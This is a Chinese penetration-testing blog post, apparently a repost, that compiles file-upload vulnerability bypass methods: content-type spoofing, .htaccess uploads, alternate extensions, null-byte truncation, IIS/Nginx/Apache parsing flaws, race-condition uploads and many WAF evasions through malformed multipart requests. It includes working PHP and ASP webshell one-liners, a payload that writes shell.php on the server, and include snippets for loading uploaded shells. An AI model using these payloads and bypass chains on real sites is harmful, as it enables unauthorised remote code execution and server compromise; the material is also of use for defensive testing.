天天看點

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

title: 上傳漏洞[彙總]

copyright: true

top: 0

date: 2018-07-31 22:40:47

tags: 上傳漏洞

categories: 滲透測試

permalink:

password:

keywords:

description: 對上傳漏洞的大部分上傳方式作總結。

最後必然失去的希望就是毒藥啊。

個人對上傳漏洞的了解在第一章節就說過了,這裡稍微複述一下。上傳漏洞按個人了解分兩種,第一種是代碼層的。即代碼過濾不嚴格,或者使用用戶端本地校驗。第二種是服務層的,比如iis6.0的解析漏洞,apache的解析漏洞。第三種就是前面結合在一起的,比如代碼層過濾了部分内容都是能繞過,然後通過伺服器層的解析漏洞上傳成功。

上傳之前要探測環境,擷取web容器是IIS還是Apache還是nginx,然後擷取腳本語言是PHP還是aspx。最好能擷取到他們使用的版本。

上傳突破

然後根據一些經驗開始做測試,按照下面步驟一步一步來測試。

  1. 如果是用戶端驗證,禁用JavaScript即可
  2. 如果是content-type驗證,抓包修改content-type的資料為image/jpeg
  3. 如果是Apache,嘗試上傳htaccess檔案。一般能上傳htaccess就沒問題了,排除一些可能會過濾的字尾,比如他過濾了php字尾,你就在htaccess中修改成ppphhhppp,然後上傳這個字尾的檔案
  4. 如果是Apache,上傳m.php2,m.php3,m.php5,m.pht或者m.php.rar.zip.zza.eaa等等測試
  5. 如果是Nginx,圖檔中嵌入PHP代碼然後通過通路m.jpg%00.php或者m.jpg/.php連結菜刀
  6. 如果是Nginx,可以上傳内容為<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>的test.jpg,然後通路test.jpg/.php,自動生成shell.php
  7. 如果是黑名單機制的話,可以嘗試大小寫繞過,如果不行的話試一試别的字尾,比如jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee等等
  8. 如果伺服器是win的話,上傳m.php(.)(空格)(.)(空格)(.)(空格)多測試幾次,或者m.php…測試
  9. 如果伺服器是win的話,上傳m.php::$DATA測試
  10. 如果伺服器是win的話,上傳m.php.[空格].[空格].[空格].[空格]測試
  11. 如果代碼層會比對字尾名然後删除的話,上傳m.pphphp測試
  12. 如果上傳的路徑可控的話,一般可以結合00截斷上傳。比如檔案名改成m.jpg,上傳路徑改成…/upload/m.php%00,如果請求是POST方法的話,要用二進制修改,在hex中把20改成00。上傳路徑隻要出現都可以測試一下截斷。
  13. 上傳gif格式圖檔馬,在圖檔馬内容前面加上幾行gif89a,上傳jpg格式圖檔馬,在内容加上JPGGraphic File,如果上傳的地方隻能上傳zip壓縮檔案,修改檔案頭加上Zip Compressed,
  14. 上傳圖檔馬,修改content-type,然後上傳測試
  15. 嘗試雙檔案上傳filename=“a.txt”;filename=“a.php”

關于伺服器層的解析漏洞在lab 1 中有一個很好的整理位址

思路總結

  1. 對伺服器資訊整理收集,檢測web容器是apache/nginx/iis,主機是window還是linux,apache可以嘗試上傳htaccess去解析檔案,或者修改檔案名為xx.php.asdas.asd.rarz上傳,apache老本可以在上傳檔案名最後加上一個換行符,換行符隻能是\x0A比如上傳1.php,然後在burp中修改hex,在1.php後面添加一個\x0A,還可以測試xx.pthml,xx.pt,xx.php4,xx.php7。nginx<8.0.3可以上傳圖檔馬然後通路xx.jpg/xx.php,xx.jpg%00.php,xx.jpg/.php然後連接配接菜刀,或者上傳<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>的test.jpg,然後通路test.jpg/.php,自動生成shell.php,前提是fasg-cgi開啟,低版本的nginx也可以嘗試00截斷。iis7.0/7.5和nginx類似在cgi.fix_pathinfo=1的情況下也可以上傳自動生成檔案的圖檔木馬,通路xx.jpg/.php,然後嘗試删除給a.aspx.a;a.aspx.jpg…jpg繞過測試。iis6.0則可以上傳xx.asp;.jpg。
  2. 如果是PHP,版本小于5.3.29并且gpc魔術引号手關閉的話,可以進行00截斷,原理是這裡的00指的是chr(0),chr(0)既不是null也不是0,是一個截斷符,比如/upload/xx.php%00.jpg,實際發出去的請求是/upload/xx.php,在get中不用進行編碼,在post請求中需要進行url編碼或者hex編碼,具體做法就是加上%00然後進行url編碼,或者加上空格在hex編碼中将20改成00。
  3. 一些語言可以解析如下格式的檔案,ASP:asp,asa,cer,cdx。PHP:php1,php2,php3,php4,php5,phtml。ASPX:aspx,ashx,asmx,ascx。JSP:jsp,jspx,jspf。可以嘗試修改字尾進行繞過。如果是windows主機,可以在檔案字尾名加上.(點) (空格)::$DATA(雙引号):(引号),_(下劃線)單個檢測然後組合檢測繞過。
  4. 其他的繞過方法就是大小寫,多重字尾比如Pphphp,修改content-type的值,或者在檔案頭加上git89a僞裝圖檔,如果有一些檢測更加嚴格的話,可以上傳圖檔馬配合解析漏洞使用,或者上傳圖檔馬嘗試修改字尾上傳。php中配合檔案包含上傳,前提是後端代碼會檢測php字尾檔案是否存在木馬,上傳一個内容為木馬的txt檔案,然後上傳php包含這個txt檔案,

    PHP

    <?php Include("上傳的txt檔案路徑");?>

    ASP

    <!-/-#include file=“上傳的txt檔案路徑” -->

    JSP

    <jsp:inclde page=“上傳的txt檔案路徑”/>

    or

    <%@include file=“上傳的txt檔案路徑”%>

  5. 還有一種就是競争上傳,上傳木馬内容為<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET['x']);?>’);?>,木馬檔案名為info.php,然後不斷地通路這個info.php,隻要伺服器來不及删除info.php并且快速的通路到了info.php就會自動在目錄下生成shell.php。使用python多程序可以實作。
  6. 其他的就是如上思路組合使用,是以說還是體力活。

WAF繞過

垃圾資料

有些主機WAF軟體為了不影響web伺服器的性能,會對校驗的使用者資料設定大小上限,比如1M。此種情況可以構造一個大檔案,前面1M的内容為垃圾内容,後面才是真正的木馬内容,便可以繞過WAF對檔案内容的校驗;

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

當然也可以将垃圾資料放在資料包最開頭,這樣便可以繞過對檔案名的校驗。

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

可以将垃圾資料加上Content-Disposition參數後面,參數内容過長,可能會導緻waf檢測出錯。

filename

針對早期版本安全狗,可以多加一個filename

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

或者将filename換位置,在IIS6.0下如果我們換一種書寫方式,把filename放在其他地方:

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

POST/GET

有些WAF的規則是:如果資料包為POST類型,則校驗資料包内容。

此種情況可以上傳一個POST型的資料包,抓包将POST改為GET。

利用waf本身缺陷

删除實體裡面的Conten-Type字段

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

第一種是删除Content整行,第二種是删除C後面的字元。删除掉ontent-Type: image/jpeg隻留下c,将.php加c後面即可,但是要注意額,雙引号要跟着c.php。

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
構造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php" 
           

删除Content-Disposition字段裡的空格

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

增加一個空格導緻安全狗被繞過案列:

Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099

嘗試在boundary後面加個空格或者其他可被正常處理的字元:

boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小寫

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

Boundary邊界不一緻

每次檔案上傳時的Boundary邊界都是一緻的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
           

但如果容器在處理的過程中并沒有嚴格要求一緻的話可能會導緻一個問題,兩段Boundary不一緻使得waf認為這段資料是無意義的,可是容器并沒有那麼嚴謹:

Win2k3 + IIS6.0 + ASP

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

檔案名處回車

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

多個Content-Disposition

在IIS的環境下,上傳檔案時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數,而如果waf隻是取最後一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

利用NTFS ADS特性

ADS是NTFS磁盤格式的一個特性,用于NTFS交換資料流。在上傳檔案時,如果waf對請求正文的filename比對不當的話可能會導緻繞過。

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

檔案重命名繞過

如果web程式會将filename除了擴充名的那段重命名的話,那麼還可以構造更多的點、符号等等。

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

特殊的長檔案名繞過

檔案名使用非字母數字,比如中文等最大程度的拉長,不行的話再結合一下其他的特性進行測試:

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

将下圖file1改成了file4,這樣就不會把這個檔案删除了。(JCMS漏洞)

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

CONTENT-LENGTH繞過

針對這種類型的驗證,我們可以通過上傳一些非常短的惡意代碼來繞過。上傳檔案的大小取決于,Web伺服器上的最大長度限制。我們可以使用不同大小的檔案來fuzzing上傳程式,進而計算出它的限制範圍。

示例:

1. if ($_FILES["fileToUpload"]["size"] > 30) {
2. echo "Sorry, your file is too large.";
3. } 
           

以上代碼将限制大小超過30位元組的檔案上傳。我們可以通過上傳一個30位元組以内大小的惡意payload檔案來繞過它。

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

轉載連結1

歡迎關注公衆号:【安全研發】擷取更多相關工具,課程,資料分享哦~

上傳漏洞上傳方法總結上傳突破思路總結WAF繞過

繼續閱讀